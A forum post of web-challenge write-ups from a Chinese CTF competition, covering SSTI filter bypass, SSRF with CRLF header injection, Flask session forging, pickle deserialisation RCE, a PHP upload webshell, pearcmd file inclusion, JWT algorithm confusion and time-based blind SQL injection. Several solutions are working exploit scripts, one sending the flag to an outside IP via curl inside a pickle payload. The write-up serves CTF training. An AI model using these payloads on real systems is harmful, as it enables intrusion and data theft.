第十五届巅峰极客wp_web

打印 上一主题 下一主题

主题 1592|帖子 1592|积分 4776

第十五届巅峰极客wp_web部分


  
队伍总排名第13名,感谢好友pwn✌YX-hueimie带飞
Problem_On_My_Web

/forms路由存在xss毛病

此时Alert text:123

猜测cookie为flag
测试留言:


Can_you_Pass_Me

ssti模板注入
过滤内容:
  1. {{,set,__globals__,os,popen,read,flag,+,base64,/等
复制代码
使用嵌套的with语句预处理命令字符串
通过join过滤器拼接被过滤的关键字
使用八进制编码绕过flag关键字
得出payload
  1. {% with p = (('po','pen')|join) %}
  2. {% with r = (('re','ad')|join) %}
  3. {% print (url_for|attr(('__glo','bals__')|join)).pop(('o','s')|join)|attr(p)('cat $(printf "\\57\\146\\154\\141\\147") | rev')|attr(r)() %}
  4. {% endwith %}
  5. {% endwith %}
复制代码
运行之后

尝试cat app.py发现会对输出的内容做过滤 将内容进行base64编码,大概rev反转
cat $(printf “\57\146\154\141\147”)|rev

再反转:
  1. ┌──(root?ser724909388411)-[~]
  2. └─# echo "}fa673cac9363-3f48-c154-db4b-0e190bde{CYS" | rev
  3. SYC{edb091e0-b4bd-451c-84f3-3639cac376af}
复制代码
ez_SSRF

dirsearch -u 80-bbd25b5c-857e-4319-802e-22386c960ee7.challenge.ctfplus.cn
得www.zip
  1. h4d333333.php
  2. <?php
  3. error_reporting(0);
  4. if(!isset($_POST['user'])){
  5.     $user="stranger";
  6. }else{
  7.     $user=$_POST['user'];
  8. }
  9. if (isset($_GET['location'])) {
  10.     echo 233;
  11.     $location=$_GET['location'];
  12.     $client=new SoapClient(null,array(
  13.         "location"=>$location,
  14.         "uri"=>"hahaha",
  15.         "login"=>"guest",
  16.         "password"=>"gueeeeest!!!!",
  17.         "user_agent"=>$user."'s Chrome"));
  18.     $client->calculator();
  19.     echo file_get_contents("result");
  20. }else{
  21.     echo "Please give me a location";
  22. }
  23. calculator.php
  24. <?php
  25. $admin="aaaaaaaaaaaadmin";
  26. $adminpass="i_want_to_getI00_inMyT3st";
  27. function check($auth) {
  28.     global $admin,$adminpass;
  29.     $auth = str_replace('Basic ', '', $auth);
  30.     $auth = base64_decode($auth);
  31.     list($username, $password) = explode(':', $auth);
  32.     echo $username."<br>".$password;
  33.     if($username===$admin && $password===$adminpass) {
  34.         return 1;
  35.     }else{
  36.         return 2;
  37.     }
  38. }
  39. if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
  40.     exit("Hacker");
  41. }
  42. $expression = $_POST['expression'];
  43. $auth=$_SERVER['HTTP_AUTHORIZATION'];
  44. if(isset($auth)){
  45.     if (check($auth)===2) {
  46.         if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
  47.             die("Invalid expression");
  48.         }else{
  49.             $result=eval("return $expression;");
  50.             file_put_contents("result",$result);
  51.         }
  52.     }else{
  53.         $result=eval("return $expression;");
  54.         file_put_contents("result",$result);
  55.     }
  56. }else{
  57.     exit("Hacker");
  58. }
复制代码
分析:
ssrf毛病:
h4d333333.php文件答应我们通过location参数指定一个URL,然后使用SoapClient类访问该URL。
通过将location参数设置为http://127.0.0.1/calculator.php,我们可以让服务器请求其本地的calculator.php文件。
CRLF注入:
user参数的值被用作SoapClient的user_agent,这意味着我们可以通过CRLF注入来伪造HTTP请求头。
通过在user参数中注入CRLF,我们可以插入自界说的HTTP头,例如Authorization,以便通过calculator.php中的认证检查。
通过CRLF注入伪造Authorization头,使用题目中提供的用户名和密码进行认证。
实行点:calculator.php中答应我们通过expression参数通报一个数学表达式,并使用eval函数实行。
exp:
  1. import requests
  2. from base64 import b64encode
  3. # 目标URL
  4. url = "http://80-bbd25b5c-857e-4319-802e-22386c960ee7.challenge.ctfplus.cn/h4d333333.php"
  5. # 构造Authorization头
  6. username = "aaaaaaaaaaaadmin"
  7. password = "i_want_to_getI00_inMyT3st"
  8. auth = f"{username}:{password}"
  9. auth_encoded = b64encode(auth.encode()).decode()
  10. # 构造POST数据
  11. post_data = {
  12.     "user": f"film\r\nAuthorization: Basic {auth_encoded}\r\nContent-Length: 39\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nexpression=system('cat /flag > aaaa.txt');\r\n"
  13. }
  14. # 发送GET请求以设置location
  15. get_params = {
  16.     "location": "http://127.0.0.1/calculator.php"
  17. }
  18. # 发送请求
  19. response = requests.post(url, params=get_params, data=post_data)
  20. # 打印响应
  21. print(response.text)
复制代码
再访问aaaa.txt获取flag
py_game

注册登录

发现flask尝试flaski的session伪造(https://www.cnblogs.com/meraklbz/p/18280537)
flask-unsign --unsign --cookie “eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4xIn0.Zzs8Tw.9DFFwMpJwI5t4Nx1idVCj2C-_Jw”
secret_key破解session:得到’a123456’
flask-unsign --sign --secret “a123456” --cookie “{‘_flashes’: [(‘success’, ‘登录成功’)], ‘username’: ‘admin’}”
伪造admin登录
得到源码在线反编译pyc
  1. # uncompyle6 version 3.9.2
  2. # Python bytecode version base 3.6 (3379)
  3. # Decompiled from: Python 3.8.10 (default, Sep 11 2024, 16:02:53)
  4. # [GCC 9.4.0]
  5. # Embedded file name: ./tempdata/1f9adc12-c6f3-4a8a-9054-aa3792d2ac2e.py
  6. # Compiled at: 2024-11-01 17:37:26
  7. # Size of source mod 2**32: 5558 bytes
  8. import json
  9. from lxml import etree
  10. from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
  11. app = Flask(__name__)
  12. app.secret_key = "a123456"
  13. app.config["xml_data"] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'
  14. class User:
  15.     def __init__(self, username, password):
  16.         self.username = username
  17.         self.password = password
  18.     def check(self, data):
  19.         return self.username == data["username"] and self.password == data["password"]
  20. admin = User("admin", "123456j1rrynonono")
  21. Users = [admin]
  22. def update(src, dst):
  23.     for k, v in src.items():
  24.         if hasattr(dst, "__getitem__"):
  25.             if dst.get(k):
  26.                 if isinstance(v, dict):
  27.                     update(v, dst.get(k))
  28.             dst[k] = v
  29.         elif hasattr(dst, k) and isinstance(v, dict):
  30.             update(v, getattr(dst, k))
  31.         else:
  32.             setattr(dst, k, v)
  33. @app.route("/register", methods=["GET", "POST"])
  34. def register():
  35.     if request.method == "POST":
  36.         username = request.form["username"]
  37.         password = request.form["password"]
  38.         for u in Users:
  39.             if u.username == username:
  40.                 flash("用户名已存在", "error")
  41.                 return redirect(url_for("register"))
  42.         new_user = User(username, password)
  43.         Users.append(new_user)
  44.         flash("注册成功!请登录", "success")
  45.         return redirect(url_for("login"))
  46.     else:
  47.         return render_template("register.html")
  48. @app.route("/login", methods=["GET", "POST"])
  49. def login():
  50.     if request.method == "POST":
  51.         username = request.form["username"]
  52.         password = request.form["password"]
  53.         for u in Users:
  54.             if u.check({'username':username,  'password':password}):
  55.                 session["username"] = username
  56.                 flash("登录成功", "success")
  57.                 return redirect(url_for("dashboard"))
  58.         flash("用户名或密码错误", "error")
  59.         return redirect(url_for("login"))
  60.     else:
  61.         return render_template("login.html")
  62. @app.route("/play", methods=["GET", "POST"])
  63. def play():
  64.     if "username" in session:
  65.         with open("/app/templates/play.html", "r", encoding="utf-8") as file:
  66.             play_html = file.read()
  67.         return play_html
  68.     else:
  69.         flash("请先登录", "error")
  70.         return redirect(url_for("login"))
  71. @app.route("/admin", methods=["GET", "POST"])
  72. def admin():
  73.     if "username" in session:
  74.         if session["username"] == "admin":
  75.             return render_template("admin.html", username=(session["username"]))
  76.     flash("你没有权限访问", "error")
  77.     return redirect(url_for("login"))
  78. @app.route("/downloads321")
  79. def downloads321():
  80.     return send_file("./source/app.pyc", as_attachment=True)
  81. @app.route("/")
  82. def index():
  83.     return render_template("index.html")
  84. @app.route("/dashboard")
  85. def dashboard():
  86.     if "username" in session:
  87.         is_admin = session["username"] == "admin"
  88.         if is_admin:
  89.             user_tag = "Admin User"
  90.         else:
  91.             user_tag = "Normal User"
  92.         return render_template("dashboard.html", username=(session["username"]), tag=user_tag, is_admin=is_admin)
  93.     else:
  94.         flash("请先登录", "error")
  95.         return redirect(url_for("login"))
  96. @app.route("/xml_parse")
  97. def xml_parse():
  98.     try:
  99.         xml_bytes = app.config["xml_data"].encode("utf-8")
  100.         parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
  101.         tree = etree.fromstring(xml_bytes, parser=parser)
  102.         result_xml = etree.tostring(tree, pretty_print=True, encoding="utf-8", xml_declaration=True)
  103.         return Response(result_xml, mimetype="application/xml")
  104.     except etree.XMLSyntaxError as e:
  105.         return str(e)
  106. black_list = [
  107. "__class__".encode(), "__init__".encode(), "__globals__".encode()]
  108. def check(data):
  109.     print(data)
  110.     for i in black_list:
  111.         print(i)
  112.         if i in data:
  113.             print(i)
  114.             return False
  115.     return True
  116. @app.route("/update", methods=["POST"])
  117. def update_route():
  118.     if "username" in session:
  119.         if session["username"] == "admin":
  120.             if request.data:
  121.                 try:
  122.                     if not check(request.data):
  123.                         return ('NONONO, Bad Hacker', 403)
  124.                     else:
  125.                         data = json.loads(request.data.decode())
  126.                         print(data)
  127.                         if all("static" not in str(value) and "dtd" not in str(value) and "file" not in str(value) and "environ" not in str(value) for value in data.values()):
  128.                             update(data, User)
  129.                             return (jsonify({"message": "更新成功"}), 200)
  130.                         return ('Invalid character', 400)
  131.                 except Exception as e:
  132.                     return (
  133.                      f"Exception: {str(e)}", 500)
  134.         else:
  135.             return ('No data provided', 400)
  136.     else:
  137.         flash("你没有权限访问", "error")
  138.         return redirect(url_for("login"))
  139. if __name__ == "__main__":
  140.     app.run(host="0.0.0.0", port=80, debug=False)
复制代码
update路由存在python的原型链污染
json.loads()会对数据进行unicode解码全部unicode绕过即可


ez_python

注册登录访问/starven_s3cret得源码
  1. import os
  2. import secrets
  3. from flask import Flask, request, render_template_string, make_response, render_template, send_file
  4. import pickle
  5. import base64
  6. import black
  7. app = Flask(__name__)
  8. #To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
  9. @app.route('/')
  10. def index():
  11.     return render_template_string(open('templates/index.html').read())
  12. @app.route('/register', methods=['GET', 'POST'])
  13. def register():
  14.     if request.method == 'POST':
  15.         usname = request.form['username']
  16.         passwd = request.form['password']
  17.         if usname and passwd:
  18.             heart_cookie = secrets.token_hex(32)
  19.             response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
  20.             response.set_cookie('heart', heart_cookie)
  21.             return response
  22.     return  render_template('register.html')
  23. @app.route('/login', methods=['GET', 'POST'])
  24. def login():
  25.     heart_cookie = request.cookies.get('heart')
  26.     if not heart_cookie:
  27.         return render_template('warning.html')
  28.     if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
  29.         statement = request.form['statement']
  30.         try:
  31.             heal_state = base64.b64decode(statement)
  32.             print(heal_state)
  33.             for i in black.blacklist:
  34.                 if i in heal_state:
  35.                     return render_template('waf.html')
  36.             pickle.loads(heal_state)
  37.             res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
  38.             flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
  39.             os.system("echo " + flag + " > /flag")
  40.             return res
  41.         except Exception as e:
  42.             print( e)
  43.             pass
  44.             return "Error!!!! give you hint: maybe you can view /starven_s3cret"
  45.     return render_template('login.html')
  46. @app.route('/monologue',methods=['GET','POST'])
  47. def joker():
  48.     return render_template('joker.html')
  49. @app.route('/starven_s3cret', methods=['GET', 'POST'])
  50. def secret():
  51.     return send_file(__file__,as_attachment=True)
  52. if __name__ == '__main__':
  53.     app.run(host='0.0.0.0', port=5000, debug=False)
复制代码
wp:
  1. import pickle
  2. import base64
  3. import requests
  4. # 目标URL
  5. url = "http://5000-3ce0e69f-74fe-4b5e-bbbd-fe04df5b6b58.challenge.ctfplus.cn/"  
  6. def register_and_get_cookie():
  7.     # 注册获取cookie
  8.     register_data = {
  9.         'username': 'test',
  10.         'password': 'test'
  11.     }
  12.     r = requests.post(f"{url}/register", data=register_data)
  13.     return r.cookies.get('heart')
  14. class Evil:
  15.     def __reduce__(self):
  16.         # 构造命令
  17.         cmd = "curl 149.88.79.51:6226/`cat /flag`"
  18.         return (eval, ("__import__('os').system('" + cmd + "')",))
  19. def create_payload():
  20.     # 生成payload
  21.     evil_pickle = pickle.dumps(Evil())
  22.     return base64.b64encode(evil_pickle).decode()
  23. def exploit():
  24.     # 1. 获取cookie
  25.     heart_cookie = register_and_get_cookie()
  26.     if not heart_cookie:
  27.         print("Failed to get heart cookie")
  28.         return
  29.     # 2. 构造payload
  30.     payload = create_payload()
  31.     # 3. 发送攻击请求
  32.     cookies = {'heart': heart_cookie}
  33.     data = {'statement': payload}
  34.     try:
  35.         r = requests.post(f"{url}/login", cookies=cookies, data=data)
  36.         print("Response:", r.text)
  37.     except Exception as e:
  38.         print("Error:", e)
  39. if __name__ == "__main__":
  40.     exploit()
复制代码
无回显外带flag

baby_upload

非常简朴的一道文件上传题目只检测文件名中是否包罗了没有png,jpg字符
上传
a.png.php得到flag
  1. <?php echo `cat /flag`; ?>
复制代码
ez_include

  1. <?php
  2. highlight_file(__FILE__);
  3. require_once 'starven_secret.php';
  4. if(isset($_GET['file'])) {
  5.     if(preg_match('/starven_secret.php/i', $_GET['file'])) {
  6.         require_once $_GET['file'];
  7.     }else{
  8.         echo "还想非预期?";
  9.     }
  10. }
复制代码
require_once 语句和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包罗过,假如是则不会再次包罗。
/proc/self指向当进步程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。
  1. https://80-007ea987-3e44-4d3d-90af-48c2dc938fee.challenge.ctfplus.cn/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
复制代码
  1. └─# echo "PD9waHANCiRzZWNyZXQgPSAiY29uZ3JhdHVsYXRpb24hIHlvdSBjYW4gZ290byAvbGV2ZWxsbGxsMi5waHAgdG8gY2FwdHVyZSB0aGUgZmxhZyEiOw0KPz4=" | base64 -d
  2. <?php
  3. $secret = "congratulation! you can goto /levelllll2.php to capture the flag!";
  4. ?>   
复制代码
考察点pearcmd文件包罗
有过滤只能长途文件下载pearcmd
http://149.88.79.51:8000/starven_secret.php
先下载
  1. syc=/usr/local/lib/php/pearcmd&+tmp&+http://149.88.79.51:8000/starven_secret.php&file=/usr/local/lib/php/pearcmd.php
复制代码


然后在第一关处包罗
  1. http://80-007ea987-3e44-4d3d-90af-48c2dc938fee.challenge.ctfplus.cn/?file=/tmp/tmp/pear/download/starven_secret.php
复制代码

jwt_pickle

  1. import os
  2. import secrets
  3. from flask import Flask, request, render_template_string, make_response, render_template, send_file
  4. import pickle
  5. import base64
  6. import black
  7. app = Flask(__name__)
  8. #To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
  9. @app.route('/')
  10. def index():
  11.     return render_template_string(open('templates/index.html').read())
  12. @app.route('/register', methods=['GET', 'POST'])
  13. def register():
  14.     if request.method == 'POST':
  15.         usname = request.form['username']
  16.         passwd = request.form['password']
  17.         if usname and passwd:
  18.             heart_cookie = secrets.token_hex(32)
  19.             response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
  20.             response.set_cookie('heart', heart_cookie)
  21.             return response
  22.     return  render_template('register.html')
  23. @app.route('/login', methods=['GET', 'POST'])
  24. def login():
  25.     heart_cookie = request.cookies.get('heart')
  26.     if not heart_cookie:
  27.         return render_template('warning.html')
  28.     if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
  29.         statement = request.form['statement']
  30.         try:
  31.             heal_state = base64.b64decode(statement)
  32.             print(heal_state)
  33.             for i in black.blacklist:
  34.                 if i in heal_state:
  35.                     return render_template('waf.html')
  36.             pickle.loads(heal_state)
  37.             res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
  38.             flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
  39.             os.system("echo " + flag + " > /flag")
  40.             return res
  41.         except Exception as e:
  42.             print( e)
  43.             pass
  44.             return "Error!!!! give you hint: maybe you can view /starven_s3cret"
  45.     return render_template('login.html')
  46. @app.route('/monologue',methods=['GET','POST'])
  47. def joker():
  48.     return render_template('joker.html')
  49. @app.route('/starven_s3cret', methods=['GET', 'POST'])
  50. def secret():
  51.     return send_file(__file__,as_attachment=True)
  52. if __name__ == '__main__':
  53.     app.run(host='0.0.0.0', port=5000, debug=False)
复制代码
  1. # 签名使用RS256
  2. token = jwt.encode(ss, privateKey, algorithm='RS256')
  3. # 但验证时同时支持HS256和RS256
  4. real = jwt.decode(token, publicKey, algorithms=['HS256', 'RS256'])发现签名和解密的算法不一样
复制代码
# 1. 先注册两个账号获取两个合法的JWT token
# 2. 使用silentsignal/rsa_sign2n工具从两个token中提取公钥
docker run --rm -it portswigger/sig2n

重新签名wp
  1. import base64
  2. import pickle
  3. import os
  4. import hmac
  5. import hashlib
  6. import json
  7. # 1. 使用已知的RSA公钥
  8. public_key_b64 = "LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXQ4aUNvNEorQjhmeDNIaWxtcHQ0cTdpd0pUUFNDUHFlT2tHSUsvU1IxMFNKNmhyUE5ybW4KU3czQUszRkp0MW91V1ovNFBxUkIzS0QwOHZ4a01udnpqQWdwNW92MmljdUZVa0lva1NGZU1xd3hoVnJtdlovQwplTkpPK0ZwdXNUYWloTTdlMXl6M1lENlJCbnh3MjFQb2xDWVBkaDE2YU54VTRDeXNXNFFZTzJTVzZsWEFrZG1kCk9JYitsU2ZqYTRrNzdobEQwRm1Sb1Z6Wnc4eFpGTjdpaVJFUG1IcUQ2MEszWEw0ck8yMlBZQmdKM2F6SHh2THUKOCs3OThuenFtYXF5a0lPbjl2eFIyK3krZkRRcnBNblpCQUJ2aWk4SXpGdmgzWUgyT3BkQkhRWjhZZFE2ZzE5Wgpkb3JWNHllU2lBVzFadUNGTXJCUVEzNnBQWWRUQmwxZ0tRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K"
  9. public_key = base64.b64decode(public_key_b64)
  10. # 2. 构造恶意的pickle payload
  11. class RCE:
  12.     def __reduce__(self):
  13.         return (eval, ("__import__('os').popen('cat /flag').read()",))
  14. # 序列化payload
  15. evil_obj = RCE()
  16. evil_pickle = pickle.dumps(evil_obj)
  17. evil_b64 = base64.b64encode(evil_pickle).decode()
  18. # 3. 构造JWT header和payload
  19. header = {
  20.     "typ": "JWT",
  21.     "alg": "HS256"
  22. }
  23. payload = {
  24.     "username": "admin2",
  25.     "password": "e10adc3949ba59abbe56e057f20f883e",
  26.     "is_admin": True,
  27.     "introduction": evil_b64,
  28.     "exp": 1731998853
  29. }
  30. # 4. Base64编码header和payload
  31. def base64url_encode(data):
  32.     return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b'=').decode()
  33. header_b64 = base64url_encode(header)
  34. payload_b64 = base64url_encode(payload)
  35. # 5. 计算签名
  36. message = f"{header_b64}.{payload_b64}"
  37. signature = hmac.new(
  38.     public_key,
  39.     message.encode(),
  40.     hashlib.sha256
  41. ).digest()
  42. signature_b64 = base64.urlsafe_b64encode(signature).rstrip(b'=').decode()
  43. # 6. 组合最终的token
  44. token = f"{header_b64}.{payload_b64}.{signature_b64}"
  45. print("生成的攻击token:")
  46. print(token)
  47. print("\n请求头:")
  48. print(f"Cookie: token={token}")
  49. # 保存token到文件
  50. with open('token.txt', 'w') as f:
  51.     f.write(token)
复制代码
携带发送即可
100%的

检察js源代码
发现满意条件

base64解码
SecretInDrivingSchool

f12检察源代码,的登岸地点提示:
账号为4-16位数字大概英笔墨母
密码格式为三位字母+@chengxing
猜测用户名admin ,爆破得密码SYC@chengxing
恣意代码实行


rce_me

解题步调:
首先必要绕过第一个检查:
  1. if (!preg_match("/start.*now/is", $_POST["start"])) {
  2.   if (strpos($_POST["start"], "start now") === false) {
  3. ​    die("Well, you haven't started.<br>");
  4.   }
  5. }
复制代码
可以使用数组绕过:
POST: start[]=anything
然后必要满意sha1和md5的比力:
  1. sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
  2. (string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
  3. is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
复制代码
由于md5(“Geekchallenge2024_bmKtL”)的值以0e开头,可以使用PHP弱类型比力,构造一个sha1值也是0e开头的数字字符串。
接下来必要绕过year的整数判定:
if (intval(KaTeX parse error: Expected 'EOF', got '&' at position 14: year) < 2024 &̲& intval(year + 1) > 2025)
这里可以使用整数溢出,构造一个很大的数字。
末了必要绕过purpose的检查:
  1. if (preg_match("/.+?rce/ism", $purpose)) {
  2.   die("nonono");
  3. }
  4. if (stripos($purpose, "rce") === false) {
  5.   die("nonononono");
  6. }
复制代码
可以使用大小写绕过,如"rCe"。
完整的Payload:
POST:start[]=anything__2024.geekchallenge.ctf=10932435112
GET:?year=2147483647&purpose=rCe&code=system(‘cat /flag’);
funnySQL

  1. 过滤了or,sleep,handler,and,=,ascii,rand,format,%0a,空格,information_schema
复制代码
页面无回显可以尝试盲注,报错注入这里只能时间盲注
information_schema被过滤这里由于数据库版本缘故原由这里只能爆破外貌数据库名,列名是我自己猜测的
这里的列名是猜测的为flag列名爆破不出来的由于information_schema被过滤,只能爆破外貌使用ysql.innodb_index_stats来绕过
个人常用的模板exp:
  1. import requests
  2. import time
  3. def blind_injection(target_type="database"):
  4.     url = "http://80-a822b9bf-19cd-4f68-91fc-7c882b931ed7.challenge.ctfplus.cn/"
  5.     result = ""
  6.     pos = 1
  7.     table_index = 0
  8.     while True:
  9.         found = False
  10.         for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-{}":
  11.             # 根据目标类型选择payload
  12.             if target_type == "database":
  13.                 payload = f"1'/*!*//*!*/&&/*!*//*!*/7641/*!*/like/*!*/if((substr(database()/*!*//*!*/,{pos},1)/*!*/like/*!*/'{char}'),BENCHMARK(300000,MD5(0x5370524d)),7641)/*!*//*!*/#/*!*/coEJ"
  14.             elif target_type == "table":
  15.                 payload = f"1'/*!*//*!*/&&/*!*//*!*/7641/*!*/like/*!*/IF((substr((select/*!*//*!*/table_name/*!*//*!*/from/*!*//*!*/mysql.innodb_index_stats/*!*//*!*/where/*!*//*!*/database_name/*!*/like/*!*/database()/*!*//*!*/limit/*!*//*!*/{table_index},1),{pos},1)/*!*/like/*!*/'{char}'),BENCHMARK(3000000,MD5(0x5370524d)),7641)/*!*//*!*/#/*!*/coEJ"
  16.             elif target_type == "column":
  17.                 payload = f"1'/*!*//*!*/&&/*!*//*!*/7641/*!*/like/*!*/IF((substr((select/*!*//*!*/column_name/*!*//*!*/from/*!*//*!*/information_schema.columns/*!*//*!*/where/*!*//*!*/table_name/*!*/like/*!*/'Rea11ys3ccccccr3333t'/*!*//*!*/limit/*!*//*!*/{table_index},1),{pos},1)/*!*/like/*!*/'{char}'),BENCHMARK(3000000,MD5(0x5370524d)),7641)/*!*//*!*/#/*!*/coEJ"
  18.             else:  # flag
  19.                 payload = f"1'/*!*//*!*/&&/*!*//*!*/7641/*!*/like/*!*/IF((substr((select/*!*//*!*/flag/*!*//*!*/from/*!*//*!*/Rea11ys3ccccccr3333t/*!*//*!*/limit/*!*//*!*/0,1),{pos},1)/*!*/like/*!*/'{char}'),BENCHMARK(3000000,MD5(0x5370524d)),7641)/*!*//*!*/#/*!*/coEJ"
  20.             params = {"username": payload}
  21.             start_time = time.time()
  22.             try:
  23.                 response = requests.get(url, params=params, timeout=10, proxies={
  24.                     "http": "192.168.164.1:8083"
  25.                 })
  26.                 elapsed_time = time.time() - start_time
  27.                 if elapsed_time > 0.8:
  28.                     result += char
  29.                     found = True
  30.                     if target_type == "database":
  31.                         print(f"数据库名称位置 {pos}: 发现字符 '{char}'")
  32.                     elif target_type == "table":
  33.                         print(f"表 {table_index}, 位置 {pos}: 发现字符 '{char}'")
  34.                     elif target_type == "column":
  35.                         print(f"列 {table_index}, 位置 {pos}: 发现字符 '{char}'")
  36.                     else:
  37.                         print(f"Flag 位置 {pos}: 发现字符 '{char}'")
  38.                     print(f"当前结果: {result}")
  39.                     break
  40.             except requests.exceptions.Timeout:
  41.                 result += char
  42.                 found = True
  43.                 if target_type == "database":
  44.                     print(f"数据库名称位置 {pos}: 发现字符 '{char}' (超时)")
  45.                 elif target_type == "table":
  46.                     print(f"表 {table_index}, 位置 {pos}: 发现字符 '{char}' (超时)")
  47.                 elif target_type == "column":
  48.                     print(f"列 {table_index}, 位置 {pos}: 发现字符 '{char}' (超时)")
  49.                 else:
  50.                     print(f"Flag 位置 {pos}: 发现字符 '{char}' (超时)")
  51.                 print(f"当前结果: {result}")
  52.                 break
  53.             except requests.exceptions.RequestException as e:
  54.                 print(f"发生错误: {e}")
  55.                 continue
  56.         if not found:
  57.             if target_type == "database":
  58.                 print(f"\n数据库名称: {result}")
  59.                 return result
  60.             elif target_type in ["table", "column"]:
  61.                 print(f"\n{target_type} {table_index} 完成: {result}")
  62.                 if not result:
  63.                     break
  64.                 table_index += 1
  65.                 pos = 0
  66.                 result = ""
  67.             else:
  68.                 print(f"\nFlag: {result}")
  69.                 return result
  70.         pos += 1
  71.     return result
  72. def main():
  73.     while True:
  74.         print("\n[+] 请选择要执行的操作:")
  75.         print("1. 爆破数据库名")
  76.         print("2. 爆破表名")
  77.         print("3. 爆破列名")
  78.         print("4. 爆破flag")
  79.         print("5. 执行所有操作")
  80.         print("0. 退出")
  81.         choice = input("\n请输入选项 (0-5): ").strip()
  82.         if choice == "0":
  83.             print("\n[+] 程序退出")
  84.             break
  85.         elif choice == "1":
  86.             print("\n[+] 开始枚举数据库名称...")
  87.             database = blind_injection("database")
  88.             print(f"[+] 最终数据库名称: {database}")
  89.         elif choice == "2":
  90.             print("\n[+] 开始枚举表名...")
  91.             tables = blind_injection("table")
  92.             print(f"[+] 表名枚举完成")
  93.         elif choice == "3":
  94.             print("\n[+] 开始枚举列名...")
  95.             columns = blind_injection("column")
  96.             print(f"[+] 列名枚举完成")
  97.         elif choice == "4":
  98.             print("\n[+] 开始爆破flag...")
  99.             flag = blind_injection("flag")
  100.             print(f"[+] 最终flag: {flag}")
  101.         elif choice == "5":
  102.             print("\n[+] 开始执行所有操作...")
  103.             print("\n[+] 开始枚举数据库名称...")
  104.             database = blind_injection("database")
  105.             print(f"[+] 最终数据库名称: {database}")
  106.             print("\n[+] 开始枚举表名...")
  107.             tables = blind_injection("table")
  108.             print(f"[+] 表名枚举完成")
  109.             print("\n[+] 开始枚举列名...")
  110.             columns = blind_injection("column")
  111.             print(f"[+] 列名枚举完成")
  112.             print("\n[+] 开始爆破flag...")
  113.             flag = blind_injection("flag")
  114.             print(f"[+] 最终flag: {flag}")
  115.         else:
  116.             print("\n[-] 无效的选项,请重新输入")
  117.         input("\n按回车键继续...")
  118. if __name__ == "__main__":
  119.     try:
  120.         main()
  121.     except KeyboardInterrupt:
  122.         print("\n\n[+] 程序被用户中断")
  123.     except Exception as e:
  124.         print(f"\n[-] 发生错误: {e}")
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

tsx81429

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表